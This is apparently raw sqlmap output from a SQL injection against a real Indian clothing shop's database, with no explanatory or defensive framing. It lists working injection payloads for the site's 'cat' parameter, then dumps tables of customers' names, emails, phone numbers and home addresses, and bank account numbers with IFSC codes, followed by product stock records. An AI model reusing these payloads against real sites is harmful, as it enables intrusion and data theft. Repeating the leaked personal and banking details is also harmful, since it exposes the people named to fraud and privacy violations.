Parameter: cat (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: cat=(SELECT (CASE WHEN (2419=2419) THEN 17 ELSE (SELECT 3807 UNION SELECT 7740) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: cat=17 AND (SELECT 1047 FROM(SELECT COUNT(*),CONCAT(0x7162787671,(SELECT (ELT(1047=1047,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=17 AND (SELECT 2823 FROM (SELECT(SLEEP(5)))LQQu)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: cat=17 UNION ALL SELECT CONCAT(0x7162787671,0x6965437662494570726f446b525944565a744449567853486b72714a5a4b52527879504f45415341,0x7170767871)#


web application technology: PHP 7.4.2, Apache 2.4.48, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.1.40-MariaDB'


database management system users privileges:
[*] 'fitandfr_fresh'@'localhost' [1]:
    privilege: USAGE



Database: fitandfr_fresh                                                                                                                                                                                                         
Table: shippingAddress
[23 entries]
+----+--------+------------------+-----------------------------------+----------------+-------------+-----------------+------------+----------------------------------------------------------------------+----------+----------+------------------------------------+-------------+---------------------+---------------------+
| ID | userID | city             | email                             | phone          | state       | country         | pincode    | address                                                              | district | lastName | landmark                           | firstName   | updatedAt           | createdAt           |
+----+--------+------------------+-----------------------------------+----------------+-------------+-----------------+------------+----------------------------------------------------------------------+----------+----------+------------------------------------+-------------+---------------------+---------------------+
| 1  | 1113   | Abohar           | kambojrakesh01@gmail.com          | 08054405110    | Punjab      | India           | 152116     | vpo chanan khera, Teh. Abohar, Dist. Fazilka                         | NULL     | Kamboj   | punjab                             | Rakesh      | 2021-05-26 13:54:31 | 2021-05-26 13:54:31 |
| 2  | 3      | hanumangarh      | poonamssdi@gmail.com              | 865677656      | raajsthan   | india           | 335513     | ghjjj                                                                | NULL     | sa       | ghhjj                              | abc         | 2021-05-30 19:24:49 | 2021-05-30 19:24:49 |
| 3  | 1117   | abohar           | kambojrakesh01@gmail.com          | 09876547654    | punjab      | India           | 152116     | chalv lk                                                             | NULL     | kamboj   | punjab                             | rakesh      | 2021-06-01 14:37:15 | 2021-06-01 14:37:15 |
| 4  | 1118   | Hanumangarh Town | shailendra.aggarwal1979@gmail.com | 09876547689    | Rajasthan   | India           | 335523     | Nai Abadi Hanumangarh Town                                           | NULL     | Thakkar  | Rajasthan                          | Vishal      | 2021-06-01 17:03:43 | 2021-06-01 17:03:43 |
| 5  | 1119   | Abohar           | kambojrakesh01@gmail.com          | 8054405110     | punjab      | India           | 234567890- | vpo chanan khera, Teh. Abohar, Dist. Fazilka                         | NULL     | Kamboj   | Punjab                             | Rakesh      | 2021-06-08 17:06:59 | 2021-06-08 17:06:59 |
| 6  | 3      | kdjf             | kdfsjl@kfj                        | 3456745        | kfdjak      | kljdlkj         | 234        | kjdfkl                                                               | NULL     | new      | <blank>                            | rk          | 2021-06-21 17:31:16 | 2021-06-21 17:31:16 |
| 7  | 1128   | ABOHAR           | arsh777@gmail.com                 | 1233445555     | PUNJAB      | INDIA           | 152116     | SSF ETETET                                                           | NULL     | SINGH    | WRWR ER WE RW                      | arshdeep    | 2021-07-26 12:40:48 | 2021-07-26 12:40:48 |
| 8  | 1129   | SANGRIA          | DDSAHIB67@GMAIL.COM               | 9417721848     | RAJASTHAN   | INDIA           | 335063     | RASUWALA SANGRIA                                                     | NULL     | BISHNOI  | <blank>                            | DHARAMDEV   | 2021-07-26 12:49:54 | 2021-07-26 12:49:54 |
| 9  | 1130   | a                | HT@GMAIL.COM                      | 1234567812     | a           | india           | 123445     | ht                                                                   | NULL     | ram      | ht                                 | het         | 2021-07-26 12:54:37 | 2021-07-26 12:54:37 |
| 10 | 1146   | Abohar           | raviwebcyst@gmail.com             | 8765434565     | Punjab      | India           | 152116     | Abohar                                                               | NULL     | testing  | Abohar                             | user        | 2021-07-27 17:14:02 | 2021-07-27 17:14:02 |
| 11 | 1120   | SANGRIA          | DDSAHIB67@GMAIL.COM               | 09417721848    | RAJASTHAN   | India           | 335063     | RASUWALA SANGRIA                                                     | NULL     | BISHNOI  | RAJASTHAN                          | DHARAMDEV   | 2021-07-27 20:10:56 | 2021-07-27 20:10:56 |
| 12 | 1116   | Hanumangarh      | <blank>                           | 1234           | Rajasthan   | India           | 335513     | Dhdb                                                                 | NULL     | <blank>  | Dhdb                               | Shail       | 2021-07-30 10:36:40 | 2021-07-30 10:36:40 |
| 13 | 1164   | hanumangarh town | savita.garg1980@gmail.com         | 7014310620     | rajasthan   | india           | 335513     | nai abadi, street no 7, opposite daulat kirana store                 | NULL     | AGGARWAL | hanumangarh town                   | SAVITA      | 2021-08-08 12:23:30 | 2021-08-08 12:23:30 |
| 14 | 1210   | Hanumangarh      | poonamssdi@gmail.com              | 09799776699    | Hanumangarh | India           | 335513     | gali no 04 Hanumangarh town                                          | NULL     | KHANNA   | Rajasthan                          | POONAM      | 2021-08-23 15:08:20 | 2021-08-23 15:08:20 |
| 15 | 1222   | abohar           | kambojrakesh01@gmail.com          | 09876547654    | p           | India           | 1          | chalv lk                                                             | NULL     | kamboj   | punjab                             | rakesh      | 2021-08-26 17:02:05 | 2021-08-26 17:02:05 |
| 16 | 1229   | ST LOUIS         | gusaulia18@gmail.com              | 5128298700     | MO          | Amerika Serikat | 63103      | 1520 Washingtion Ave #516                                            | NULL     | Mabur    | Don                                | Wedus       | 2021-09-04 20:16:51 | 2021-09-04 20:16:51 |
| 17 | 1213   | Hanumangarh      | Vishalthakkar1208@yahoo.com       | 09649425739    | Rajasthan   | India           | 335512     | 29 deep colony near k k school hanumangarh junction Rajasthan 335512 | NULL     | Thakkar  | <blank>                            | Vishal      | 2021-09-15 16:37:30 | 2021-09-15 16:37:30 |
| 18 | 1303   | bhagta Bhai ka   | gurcharn555@gmail.com             | 8146044998     | punjab      | india           | 151106     | vpo bhairupa, tehsil rampur Phil, first bathinda                     | NULL     | Singh    | Dr ambedkar nagar near spice tower | Gurcharn    | 2021-09-28 12:12:44 | 2021-09-28 12:12:44 |
| 19 | 1168   | Hanumangarh      | <blank>                           | <blank>        | Rajasthan   | India           | 335512     | 29 deep colony near k k school hanumangarh junction                  | NULL     | Thakkar  | Near k k school                    | Vishal      | 2021-10-02 13:32:15 | 2021-10-02 13:32:15 |
| 20 | 1312   | Barnala          | gagankansal2012@gmail.com         | 9876111536     | Punjab      | India           | 148101     | House No B-II/697, Near old telephone Exchange, Barnala              | NULL     | Kansal   | Old telephone Exchange             | Ram Parkash | 2021-10-15 19:16:45 | 2021-10-15 19:16:45 |
| 21 | 1313   | Barnala          | gagankansal2012@gmail.com         | 9876111536     | Punjab      | India           | 148101     | HOUSE NO B-II/697, NEAR OLD TELEPHONE EXCHANGE, BARNALA              | NULL     | Kansal   | Near old telephone Exchange        | Ram Parkash | 2021-10-15 19:36:24 | 2021-10-15 19:36:24 |
| 22 | 1327   | Abohar           | kambojrakesh01@gmail.com          | 08054405110    | Punjab      | India           | 152116     | vpo chanan khera, Teh. Abohar, Dist. Fazilka                         | NULL     | Kamboj   | sdf                                | Rakesh      | 2021-10-21 16:29:45 | 2021-10-21 16:29:45 |
| 23 | 1323   | Khuian sarwar    | deepsaman85@gmail.com             | +1919607110001 | Punjab      | India           | 152128     | Khuian sarwar                                                        | NULL     | deep     | Near Sonu jewellers                | saman       | 2021-10-23 10:45:06 | 2021-10-23 10:45:06 |
+----+--------+------------------+-----------------------------------+----------------+-------------+-----------------+------------+----------------------------------------------------------------------+----------+----------+------------------------------------+-------------+---------------------+---------------------+



Database: fitandfr_fresh                                                                                                                                                                                                         
Table: w_pv_wallet
[55 entries]
+----+------+---------+--------+--------+-----------+---------------------+---------------------+------------+
| ID | uid  | orderID | review | amount | is_credit | updatedAt           | createdAt           | is_checked |
+----+------+---------+--------+--------+-----------+---------------------+---------------------+------------+
| 1  | 1113 | 1       | NULL   | 19.3   | 1         | 2021-05-26 13:54:42 | 2021-05-26 13:54:42 | 0          |
| 2  | 1113 | 2       | NULL   | 13.33  | 1         | 2021-05-26 14:10:36 | 2021-05-26 14:10:36 | 0          |
| 3  | 3    | 12      | NULL   | 0      | 1         | 2021-05-30 19:24:57 | 2021-05-30 19:24:57 | 0          |
| 4  | 3    | 13      | NULL   | 0      | 1         | 2021-05-30 19:26:04 | 2021-05-30 19:26:04 | 0          |
| 5  | 3    | 21      | NULL   | 0      | 1         | 2021-05-31 13:31:24 | 2021-05-31 13:31:24 | 0          |
| 6  | 3    | 22      | NULL   | 0      | 1         | 2021-05-31 13:33:22 | 2021-05-31 13:33:22 | 0          |
| 7  | 3    | 24      | NULL   | 0      | 1         | 2021-05-31 13:41:56 | 2021-05-31 13:41:56 | 0          |
| 8  | 3    | 25      | NULL   | 0      | 1         | 2021-05-31 13:50:16 | 2021-05-31 13:50:16 | 0          |
| 9  | 3    | 29      | NULL   | 0      | 1         | 2021-05-31 14:08:49 | 2021-05-31 14:08:49 | 0          |
| 10 | 1118 | 34      | NULL   | 0      | 1         | 2021-06-01 17:08:15 | 2021-06-01 17:08:15 | 0          |
| 11 | 3    | 41      | NULL   | 0      | 1         | 2021-06-21 16:07:42 | 2021-06-21 16:07:42 | 0          |
| 12 | 3    | 63      | NULL   | 0      | 1         | 2021-07-02 16:33:27 | 2021-07-02 16:33:27 | 0          |
| 13 | 1128 | 66      | NULL   | 0      | 1         | 2021-07-26 12:42:04 | 2021-07-26 12:42:04 | 0          |
| 14 | 1129 | 68      | NULL   | 0      | 1         | 2021-07-26 12:50:23 | 2021-07-26 12:50:23 | 0          |
| 15 | 1130 | 69      | NULL   | 0      | 1         | 2021-07-26 12:54:47 | 2021-07-26 12:54:47 | 0          |
| 16 | 1128 | 70      | NULL   | 0      | 1         | 2021-07-26 16:47:15 | 2021-07-26 16:47:15 | 0          |
| 17 | 1128 | 71      | NULL   | 0      | 1         | 2021-07-26 17:30:00 | 2021-07-26 17:30:00 | 0          |
| 18 | 1128 | 72      | NULL   | 0      | 1         | 2021-07-26 17:41:57 | 2021-07-26 17:41:57 | 0          |
| 19 | 3    | 73      | NULL   | 0      | 1         | 2021-07-27 14:54:38 | 2021-07-27 14:54:38 | 0          |
| 20 | 3    | 74      | NULL   | 0      | 1         | 2021-07-27 15:12:17 | 2021-07-27 15:12:17 | 0          |
| 21 | 3    | 75      | NULL   | 0      | 1         | 2021-07-27 15:18:26 | 2021-07-27 15:18:26 | 0          |
| 22 | 3    | 76      | NULL   | 0      | 1         | 2021-07-27 15:54:27 | 2021-07-27 15:54:27 | 0          |
| 23 | 3    | 77      | NULL   | 0      | 1         | 2021-07-27 16:00:28 | 2021-07-27 16:00:28 | 0          |
| 24 | 3    | 78      | NULL   | 0      | 1         | 2021-07-27 16:02:18 | 2021-07-27 16:02:18 | 0          |
| 25 | 1146 | 80      | NULL   | 0      | 1         | 2021-07-27 17:15:19 | 2021-07-27 17:15:19 | 0          |
| 26 | 1146 | 81      | NULL   | 0      | 1         | 2021-07-27 17:23:11 | 2021-07-27 17:23:11 | 0          |
| 27 | 1146 | 82      | NULL   | 0      | 1         | 2021-07-27 17:24:11 | 2021-07-27 17:24:11 | 0          |
| 28 | 1146 | 83      | NULL   | 0      | 1         | 2021-07-27 17:25:03 | 2021-07-27 17:25:03 | 0          |
| 29 | 1146 | 84      | NULL   | 0      | 1         | 2021-07-27 17:26:04 | 2021-07-27 17:26:04 | 0          |
| 30 | 1146 | 85      | NULL   | 0      | 1         | 2021-07-27 17:27:10 | 2021-07-27 17:27:10 | 0          |
| 31 | 1146 | 86      | NULL   | 0      | 1         | 2021-07-27 17:27:55 | 2021-07-27 17:27:55 | 0          |
| 32 | 1146 | 88      | NULL   | 0      | 1         | 2021-07-27 17:29:03 | 2021-07-27 17:29:03 | 0          |
| 33 | 1146 | 89      | NULL   | 0      | 1         | 2021-07-27 17:32:50 | 2021-07-27 17:32:50 | 0          |
| 34 | 1146 | 90      | NULL   | 0      | 1         | 2021-07-27 17:34:29 | 2021-07-27 17:34:29 | 0          |
| 35 | 3    | 91      | NULL   | 0      | 1         | 2021-07-27 18:04:52 | 2021-07-27 18:04:52 | 0          |
| 36 | 3    | 92      | NULL   | 0      | 1         | 2021-07-27 18:06:17 | 2021-07-27 18:06:17 | 0          |
| 37 | 1120 | 93      | NULL   | 0      | 1         | 2021-07-27 20:11:04 | 2021-07-27 20:11:04 | 0          |
| 38 | 1146 | 94      | NULL   | 0      | 1         | 2021-07-28 12:00:24 | 2021-07-28 12:00:24 | 0          |
| 39 | 1146 | 95      | NULL   | 0      | 1         | 2021-07-28 12:15:10 | 2021-07-28 12:15:10 | 0          |
| 40 | 1222 | 104     | NULL   | 0      | 1         | 2021-08-26 17:02:14 | 2021-08-26 17:02:14 | 0          |
| 41 | 1213 | 119     | NULL   | 0      | 1         | 2021-09-15 16:38:09 | 2021-09-15 16:38:09 | 0          |
| 42 | 1213 | 119     | NULL   | 0      | 1         | 2021-09-15 16:38:09 | 2021-09-15 16:38:09 | 0          |
| 43 | 1222 | 184     | NULL   | 0      | 1         | 2021-10-04 11:17:22 | 2021-10-04 11:17:22 | 0          |
| 44 | 1222 | 186     | NULL   | 0      | 1         | 2021-10-04 11:22:42 | 2021-10-04 11:22:42 | 0          |
| 45 | 1222 | 187     | NULL   | 0      | 1         | 2021-10-04 14:13:59 | 2021-10-04 14:13:59 | 0          |
| 46 | 1164 | 188     | NULL   | 0      | 1         | 2021-10-05 06:24:21 | 2021-10-05 06:24:21 | 0          |
| 47 | 1213 | 191     | NULL   | 0      | 1         | 2021-10-05 13:58:03 | 2021-10-05 13:58:03 | 0          |
| 48 | 1164 | 193     | NULL   | 0      | 1         | 2021-10-06 06:26:05 | 2021-10-06 06:26:05 | 0          |
| 49 | 1222 | 197     | NULL   | 0      | 1         | 2021-10-14 12:25:34 | 2021-10-14 12:25:34 | 0          |
| 50 | 1222 | 199     | NULL   | 0      | 1         | 2021-10-15 16:16:02 | 2021-10-15 16:16:02 | 0          |
| 51 | 1313 | 203     | NULL   | 0      | 1         | 2021-10-15 19:38:23 | 2021-10-15 19:38:23 | 0          |
| 52 | 1313 | 203     | NULL   | 0      | 1         | 2021-10-15 19:38:23 | 2021-10-15 19:38:23 | 0          |
| 53 | 1313 | 203     | NULL   | 0      | 1         | 2021-10-15 19:38:23 | 2021-10-15 19:38:23 | 0          |
| 54 | 1313 | 203     | NULL   | 0      | 1         | 2021-10-15 19:38:23 | 2021-10-15 19:38:23 | 0          |
| 55 | 1327 | 204     | NULL   | 0      | 1         | 2021-10-21 16:29:54 | 2021-10-21 16:29:54 | 0          |
+----+------+---------+--------+--------+-----------+---------------------+---------------------+------------+



Database: fitandfr_fresh                                                                                                                                                                                                         
Table: benifit_register
[8 entries]
+----+------+-----------+---------------+-------------+---------+---------+----------+---------+-------------------------------+------------+---------------------+------------------+
| id | uId  | sender_id | benificier_id | ifsc        | lname   | token   | fname    | pincode | bank_name                     | mobile_no  | createdAt           | account_no       |
+----+------+-----------+---------------+-------------+---------+---------+----------+---------+-------------------------------+------------+---------------------+------------------+
| 23 | 1126 | 125845    | 130574        | AUBL0002287 | <blank> | <blank> | KAPIL    | <blank> | AU SMALL FINANCE BANK LIMITED | 7717562590 | 2021-07-19 11:52:42 | 4389487654       |
| 38 | 1127 | 52141     | 131295        | PUNB0344900 | babbar  | <blank> | RAVINDRA | 411002  | PUNJAB NATIONAL BANK          | 9950989567 | 2021-07-24 16:45:29 | 3449001500010467 |
| 39 | 1127 | 52141     | 131295        | PUNB0344900 | <blank> | <blank> | RAVINDRA | <blank> | PUNJAB NATIONAL BANK          | 9950989567 | 2021-07-24 16:45:34 | 3449001500010467 |
| 40 | 1127 | 52141     | 131295        | PUNB0344900 | <blank> | <blank> | RAVINDRA | <blank> | PUNJAB NATIONAL BANK          | 9950989567 | 2021-07-24 16:46:28 | 3449001500010467 |
| 41 | 1127 | 52141     | 131295        | PUNB0344900 | <blank> | <blank> | RAVINDRA | <blank> | PUNJAB NATIONAL BANK          | 9950989567 | 2021-07-24 16:48:19 | 3449001500010467 |
| 42 | 1127 | 52141     | 72156         | ALLA0212079 | <blank> | <blank> | RAVINDRA | <blank> | ALLAHABAD BANK                | 9950989567 | 2021-07-24 16:51:15 | 50213563460      |
| 43 | 1127 | 52141     | 131281        | AUBL0002287 | <blank> | <blank> | RAVINDRA | <blank> | AU SMALL FINANCE BANK LIMITED | 9950989567 | 2021-07-24 16:51:15 | 4389487654       |
| 44 | 1219 | 133415    | 138375        | PUNB0618300 | Rajput  | <blank> | SONALI   | 411002  | PUNJAB NATIONAL BANK          | 9041343563 | 2021-09-26 00:08:33 | 6183000100027356 |
+----+------+-----------+---------------+-------------+---------+---------+----------+---------+-------------------------------+------------+---------------------+------------------+




Database: fitandfr_fresh                                                                                                                                                                                                         
Table: stock_size
[176 entries]
+-----+---------+--------+--------------------------------------------------------------------------------+-------+-----------+-------------+---------------------+---------------------+
| ID  | p_id    | userID | p_sku                                                                          | stock | p_size    | p_color     | updated_at          | created_at          |
+-----+---------+--------+--------------------------------------------------------------------------------+-------+-----------+-------------+---------------------+---------------------+
| 11  | <blank> | 1      | dummy_product_for_testing                                                      | 0     | S         |   Red       | 2021-07-27 16:02:18 | 2021-07-27 15:44:12 |
| 12  | <blank> | 1      | dummy_product_for_testing                                                      | 1     | S         | Green       | 2021-07-27 16:01:46 | 2021-07-27 15:44:19 |
| 13  | <blank> | 1      | dummy_product_for_testing                                                      | 1     | S         | Blue        | 2021-07-27 16:01:48 | 2021-07-27 15:44:27 |
| 14  | <blank> | 1      | dummy_product_for_testing                                                      | 0     | M         |   Red       | 2021-07-27 17:24:11 | 2021-07-27 15:44:37 |
| 15  | <blank> | 1      | dummy_product_for_testing                                                      | 1     | M         | Green       | 2021-07-27 15:44:44 | 2021-07-27 15:44:44 |
| 16  | <blank> | 1      | dummy_product_for_testing                                                      | 1     | M         | Blue        | 2021-07-27 15:44:59 | 2021-07-27 15:44:59 |
| 17  | <blank> | 1      | dummy_shirt                                                                    | 0     | S         |   Red       | 2021-07-27 17:23:11 | 2021-07-27 17:19:59 |
| 18  | <blank> | 1      | dummy_shirt                                                                    | 0     | S         | Green       | 2021-07-27 17:26:04 | 2021-07-27 17:20:06 |
| 19  | <blank> | 1      | dummy_shirt                                                                    | 0     | M         |   Red       | 2021-07-27 17:25:03 | 2021-07-27 17:20:14 |
| 20  | <blank> | 1      | dummy_shirt                                                                    | 0     | L         | Blue        | 2021-07-27 17:29:03 | 2021-07-27 17:20:24 |
| 21  | <blank> | 1      | dummy_shirt                                                                    | 0     | S         | Blue        | 2021-07-27 17:27:55 | 2021-07-27 17:20:35 |
| 22  | <blank> | 1      | dummy_shirt                                                                    | 0     | M         | Green       | 2021-07-27 17:27:10 | 2021-07-27 17:20:43 |
| 23  | <blank> | 1      | dummy_shirt                                                                    | 0     | XL        | green       | 2021-07-27 17:32:50 | 2021-07-27 17:31:51 |
| 24  | <blank> | 1      | dummy_shirt                                                                    | 0     | XL        |   Red       | 2021-07-27 17:34:29 | 2021-07-27 17:31:57 |
| 25  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   | Green       | 2021-07-27 17:39:11 | 2021-07-27 17:39:11 |
| 26  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   |   Red       | 2021-07-27 17:39:21 | 2021-07-27 17:39:21 |
| 27  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   | green       | 2021-07-27 17:39:26 | 2021-07-27 17:39:26 |
| 28  | <blank> | 1      | ALENA_womens_kurta_and_bottomwear                                              | 1     | S         | yellow      | 2021-07-27 20:04:25 | 2021-07-27 20:04:25 |
| 29  | <blank> | 1      | ALENA_womens_kurta_and_bottomwear                                              | 1     | M         | yellow      | 2021-07-27 20:04:32 | 2021-07-27 20:04:32 |
| 30  | <blank> | 1      | dummy_product                                                                  | 1     | M         |   Red       | 2021-07-28 11:52:05 | 2021-07-28 11:52:05 |
| 31  | <blank> | 1      | dummy_product                                                                  | 1     | M         | Blue        | 2021-07-28 11:52:11 | 2021-07-28 11:52:11 |
| 32  | <blank> | 1      | dummy_product                                                                  | 0     | S         | Green       | 2021-07-28 12:15:10 | 2021-07-28 11:52:19 |
| 33  | <blank> | 1      | dummy_product                                                                  | 1     | L         | Green       | 2021-07-28 11:52:27 | 2021-07-28 11:52:27 |
| 34  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   | green       | 2021-07-28 11:55:22 | 2021-07-28 11:55:22 |
| 35  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   | Green       | 2021-07-28 11:55:28 | 2021-07-28 11:55:28 |
| 36  | <blank> | 1      | dummy_shirt                                                                    | 1     | <blank>   |   Red       | 2021-07-28 11:55:34 | 2021-07-28 11:55:34 |
| 37  | <blank> | 1      | dummy_product                                                                  | 1     | M         | <blank>     | 2021-07-28 12:02:29 | 2021-07-28 12:02:29 |
| 38  | <blank> | 1      | dummy_product                                                                  | 1     | L         | <blank>     | 2021-07-28 12:02:34 | 2021-07-28 12:02:34 |
| 39  | <blank> | 1      | dummy_product                                                                  | 1     | S         | <blank>     | 2021-07-28 12:02:38 | 2021-07-28 12:02:38 |
| 40  | <blank> | 1      | dummy_product                                                                  | 1     | M         | Green       | 2021-07-28 12:13:08 | 2021-07-28 12:13:08 |
| 41  | <blank> | 1      | dummy_product                                                                  | 1     | S         | Blue        | 2021-07-28 12:13:22 | 2021-07-28 12:13:22 |
| 42  | <blank> | 1      | dummy_product                                                                  | 0     | S         | Green       | 2021-07-28 12:15:10 | 2021-07-28 12:13:28 |
| 43  | <blank> | 1      | alena_Women_kurti                                                              | 1     | S         | yellow      | 2021-07-30 09:29:49 | 2021-07-30 09:29:49 |
| 44  | <blank> | 1      | alena_Women_kurti                                                              | 1     | M         | yellow      | 2021-07-30 09:29:57 | 2021-07-30 09:29:57 |
| 45  | <blank> | 1      | alena_Women_kurti                                                              | 1     | L         | yellow      | 2021-07-30 09:30:16 | 2021-07-30 09:30:16 |
| 46  | <blank> | 1      | Kalindi                                                                        | 1     | S         | yellow      | 2021-07-30 10:34:23 | 2021-07-30 10:34:23 |
| 47  | <blank> | 1      | Kalindi                                                                        | 1     | M         | yellow      | 2021-07-30 10:34:30 | 2021-07-30 10:34:30 |
| 48  | <blank> | 1      | Kalindi                                                                        | 1     | L         | yellow      | 2021-07-30 10:34:36 | 2021-07-30 10:34:36 |
| 49  | <blank> | 1      | Kalindi                                                                        | 1     | XL        | yellow      | 2021-07-30 10:34:42 | 2021-07-30 10:34:42 |
| 50  | <blank> | 1      | KURTI                                                                          | 1     | XXL       | <blank>     | 2021-07-31 15:54:26 | 2021-07-31 15:54:26 |
| 51  | <blank> | 1      | ALENA_women_kurta_and_bottomwear                                               | 1     | S         | yellow      | 2021-07-31 16:24:21 | 2021-07-31 16:24:21 |
| 52  | <blank> | 1      | ALENA_women_kurta_and_bottomwear                                               | 1     | M         | yellow      | 2021-07-31 16:24:28 | 2021-07-31 16:24:28 |
| 53  | <blank> | 1      | ALENA_women_kurta_and_bottomwear                                               | 1     | L         | yellow      | 2021-07-31 16:24:34 | 2021-07-31 16:24:34 |
| 54  | <blank> | 1      | ALENA_women_kurta_and_bottomwear                                               | 1     | XL        | yellow      | 2021-07-31 16:24:41 | 2021-07-31 16:24:41 |
| 55  | <blank> | 1      | ALENA_women_kurta_and_bottomwear                                               | 1     | XXL       | yellow      | 2021-07-31 16:24:47 | 2021-07-31 16:24:47 |
| 56  | <blank> | 1      | COTTON_PRINTED_SUIT_SET_SIDDHANAM                                              | 1     | XXL       | Blue        | 2021-07-31 16:32:07 | 2021-07-31 16:32:07 |
| 57  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_GOLDEN_RED_COLOR                                           | 2     |  32       | Rust Orange | 2021-07-31 16:56:07 | 2021-07-31 16:56:07 |
| 58  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_GOLDEN_RED_COLOR                                           | 2     |  34       | Rust Orange | 2021-07-31 16:56:16 | 2021-07-31 16:56:16 |
| 59  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_WHITE_GREEN_3COLOR_CELEBRITY_CLUB                          | 2     |  32       | White       | 2021-07-31 17:00:09 | 2021-07-31 17:00:09 |
| 60  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_WHITE_GREEN_3COLOR_CELEBRITY_CLUB                          | 2     |  34       | White       | 2021-07-31 17:00:15 | 2021-07-31 17:00:15 |
| 61  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_WHITE_MUSTERED__COLOR_CELEBRITY_CLUB                       | 1     |  36       | White       | 2021-07-31 17:03:35 | 2021-07-31 17:03:35 |
| 62  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_WHITE_MUSTERED__COLOR_CELEBRITY_CLUB                       | 2     |  38       | White       | 2021-07-31 17:03:45 | 2021-07-31 17:03:45 |
| 63  | <blank> | 1      | KIDS_GIRLS_SUIT_SET_WHITE_MUSTERED__COLOR_CELEBRITY_CLUB                       | 2     |  40       | White       | 2021-07-31 17:03:52 | 2021-07-31 17:03:52 |
| 64  | <blank> | 1      | BLENDED_STRIP_3_PC_SET_TOP_BOTTOM_WEAR_WITH_SHRUG_CELEBRITY_CLUB               | 2     |  32       | Blue        | 2021-07-31 17:07:19 | 2021-07-31 17:07:19 |
| 65  | <blank> | 1      | BLENDED_STRIP_3_PC_SET_TOP_BOTTOM_WEAR_WITH_SHRUG_CELEBRITY_CLUB               | 2     |  34       | Blue        | 2021-07-31 17:07:26 | 2021-07-31 17:07:26 |
| 66  | <blank> | 1      | FABRIKO_WOMEN_FLORAL_SUIT_SET                                                  | 1     | XL        |  Light Blue | 2021-07-31 17:11:41 | 2021-07-31 17:11:41 |
| 67  | <blank> | 1      | PRIYAKSH_WOMEN_KURTI_PLAZZO_SET                                                | 2     | XL        | Yellow      | 2021-07-31 17:20:49 | 2021-07-31 17:20:49 |
| 68  | <blank> | 1      | PRIYAKSH_WOMEN_KURTI_PLAZZO_SET                                                | 2     | XXL       | Yellow      | 2021-07-31 17:20:55 | 2021-07-31 17:20:55 |
| 69  | <blank> | 1      | SURHI_WOMEN_KURTA_SHARARA_SET                                                  | 2     | XXL       | Maroon      | 2021-07-31 17:28:34 | 2021-07-31 17:28:34 |
| 70  | <blank> | 1      | VAKRAN_C_CUT_KURTI_PLAZZO_SUIT_SET                                             | 2     | XL        | Green       | 2021-07-31 17:32:47 | 2021-07-31 17:32:47 |
| 71  | <blank> | 1      | PRINAL_WOMEN_KURTI_PLAZZO_SET_MUSTERED                                         | 1     | L         | Mustered    | 2021-08-05 17:26:06 | 2021-08-05 17:26:06 |
| 72  | <blank> | 1      | PRINAL_WOMEN_KURTI_PLAZZO_SET_BLACK                                            | 1     | L         | Black       | 2021-08-05 17:27:44 | 2021-08-05 17:27:44 |
| 73  | <blank> | 1      | PRINAL_WOMEN_KURTI_PLAZZO_SET_BEIGE                                            | 1     | L         | Beige       | 2021-08-05 17:28:03 | 2021-08-05 17:28:03 |
| 74  | <blank> | 1      | PRINAL_WOMEN_KURTI_PLAZZO_SET_OLIVE                                            | 1     | L         | Olive       | 2021-08-05 17:28:27 | 2021-08-05 17:28:27 |
| 75  | <blank> | 1      | PRINAL_WOMEN_KURTI_PLAZZO_SET_ORANGE                                           | 1     | L         | Peach       | 2021-08-05 17:28:48 | 2021-08-05 17:28:48 |
